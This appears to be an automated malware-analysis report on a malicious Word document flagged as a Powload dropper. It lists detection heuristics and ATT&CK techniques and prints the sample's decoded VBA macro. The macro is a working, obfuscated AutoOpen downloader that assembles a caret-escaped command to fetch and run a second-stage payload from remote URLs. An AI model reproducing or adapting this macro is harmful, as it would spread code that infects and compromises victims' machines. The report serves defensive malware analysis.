MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function to execute a command, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Dropper.Powload-6670756-0' further supports this dropper functionality.
Heuristics 6
-
ClamAV: Doc.Dropper.Powload-6670756-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Powload-6670756-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5905 bytes |
SHA-256: ff5ff279ad8e7092697a4233f4709f19c7904605dc4f0a98dba82cbe653c7d92 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "HNbLbLwiMUUwV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Hour "wtzrYs" + "6576"
VBA.Shell KeyString(11 + 8 + 4 + 1 + 43) + aHHNVofUDGbzw + YwEETEEMwstQ + UlBKomCj + GidjJOT + fubPjMkNR + phHiuiO + hiIHOMMdzi, 42 - 42
Hour "323692018" + "nCMoV"
Hour "7744" + "5778"
Hour "Vb" + "423243256" + "DONYUQE" + "592575"
Hour "7909" + "530836195"
End Sub
Attribute VB_Name = "dXVLwqzjPtl"
Function UlBKomCj()
On _
Error _
Resume _
Next
Hour "IqNtGmdF" + "ZXsS"
Hour "9294" + "NYKP" + "P" + "8982"
Hour "BUij" + "fh" + "144605544" + "75950548"
kwqsY = "m" + "d /V^" + ":^O/C" + Chr(0 + 5 + 4 + 1 + 24) + "s^e^t" + " ^y^i" + "^" + "s5=^ " + "^" + " ^ ^"
Hour "9467" + "52802747" + "i" + "oAm"
Hour "8825" + "431227768"
thWwab = " ^" + " " + " ^ ^ " + "^ " + "^ ^ " + "^" + " ^}" + "}{^hc^" + "t^a"
Hour "125413734" + "A" + "491365054" + "3217"
Hour "9423" + "8588" + "fFIF" + "4147"
Hour "DikK" + "tZcWLZcFXaGDBn"
vTktKnTbM = "c};" + "ka^e" + "r^b^;F^" + "qu$^" + " m" + "^etI-"
Hour "3996" + "203132307" + "5704" + "BGRnG"
Hour "ICszOtOC" + "226549675" + "CzwM" + "KEhR"
Hour "8085" + "HBj"
jmGBGVRDOWc = "^e^k^ov" + "nI^;" + ")^Fq^u" + "$^ ^,V" + "^j^z$(" + "e^l" + "^i^F" + "da" + "^o"
Hour "jrrjcISKZlVcJr" + "5227" + "cjX" + "XYSGTwaMmw"
Hour "8848" + "659" + "87412431" + "291308389"
nPFkMbozi = "ln" + "w^o" + "D" + "^.LuF${" + "^yrt"
Hour "3020" + "wciTY"
aIWQMw = "^{)" + "vB^J$ " + "ni^ V" + "j^z^$" + "("
Hour "6858" + "OLX" + "zLPB" + "LSZ"
Hour "ChQOU" + "KapEi" + "za" + "8523"
Hour "3002" + "YkB"
uQuTGt = "hc" + "a^e" + "ro^" + "f^;'e^" + "x^" + "e.'+c^" + "s^i^" + "$^+^'" + "^\^'+"
Hour "tv" + "9382" + "DOroWstUEvZ" + "sQtzEhuTI"
Hour "9056" + "qEcLCLHKij"
Hour "4190" + "16506236"
Hour "UGAt" + "6602" + "UnEINXOL" + "h"
qjBizEWb = "cilbu^p" + "^:v" + "n^e" + "^$^=^" + "F^q^" + "u$"
Hour "fNV" + "hWzEzRq"
Hour "I" + "Gm"
Hour "297630720" + "OmhUc" + "157806450" + "259738812"
jEBzw = ";'4^13" + "^" + "' " + "=" + " cs" + "i^$" + "^;)'^"
Hour "n" + "2227"
Hour "813" + "BipWUw"
Hour "j" + "hfi"
zJiZdSszL = "@^'(t^" + "il^pS^" + "." + "'^" + "tC^DPuZ" + "Xz^k/" + "cc^" + "." + "tnec" + "s^ero^" + "u^l" + "^f/" + "/:pt^t^"
UlBKomCj = kwqsY + thWwab + vTktKnTbM + jmGBGVRDOWc + nPFkMbozi + aIWQMw + uQuTGt + qjBizEWb + jEBzw + zJiZdSszL
Hour "s" + "W" + "wCrtWMWl" + "40"
Hour "54588645" + "l" + "6208" + "BqlAqwGIpQVI"
Hour "D" + "193971271" + "zICTfdipCoUC" + "wOHh"
End Function
Function GidjJOT()
On _
Error _
Resume _
Next
Hour "32156209" + "N" + "4508" + "469632510"
Hour "APPb" + "3381"
Hour "VTGSMYHwzCdDw" + "35422687"
Hour "295621839" + "MLob" + "DQnjMcfDB" + "Q"
Hour "9994" + "Y" + "UwuCU" + "uQGn"
ukiwIjq = "h^@" + "^k^p" + "^TM^DN" + "^U/s" + "d" + "^a" + "^ol^p" + "^u/r^ev" + "ird" + "^_cm^e" + "/cme/n^" + "sj/d^" + "i^.oc"
Hour "E" + "Rthsilm"
Hour "poGaswNnNmi" + "3553" + "3066" + "WMar"
Hour "DBYo" + "3093" + "TSzcAjOGMMEka" + "5228"
Hour "7127" + "466149233" + "JiHzN" + "2353"
Hour "b" + "108987888" + "5197" + "4697"
Hour "jfHCpj" + "hjX" + "zOwOzksvi" + "Tfti"
LkdVPMJY = "^.^sc^" + "it^si^" + "g^" + "ola^k" + "erue." + "^w" + "^w^w//"
Hour "O" + "jzZbh" + "173631492" + "EiPzOYzdl"
Hour "qYdiLfm" + "9575" + "4660" + "ZNLO"
KLJvc = ":p^tt" + "^h^@" + "B^Jkr" + "^f^ue^" + "2" + "^Ma/m^"
Hour "zOLQOB" + "2194" + "2834" + "cCiB"
Hour "palUCSwtVQf" + "p" + "PUTdzcB" + "6959"
Hour "9262" + "7618" + "lOuGdnaozKK" + "JcJIJ"
fnwzPDZvaV = "oc.^tn^" + "ema" + "nr^u^" + "ot^" + "l^la^"
Hour "nT" + "jEisw" + "UizE" + "o"
Hour "259397581" + "HmFrBjrZo"
QtvwAKtBK = "bre^gn^" + "e^" + "llah" + "c//^:pt" + "t^h" + "^@9" + "tMHe^L" + "^" + "PV" + "^I/m^" + "oc^.^"
Hour "jwIDF"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.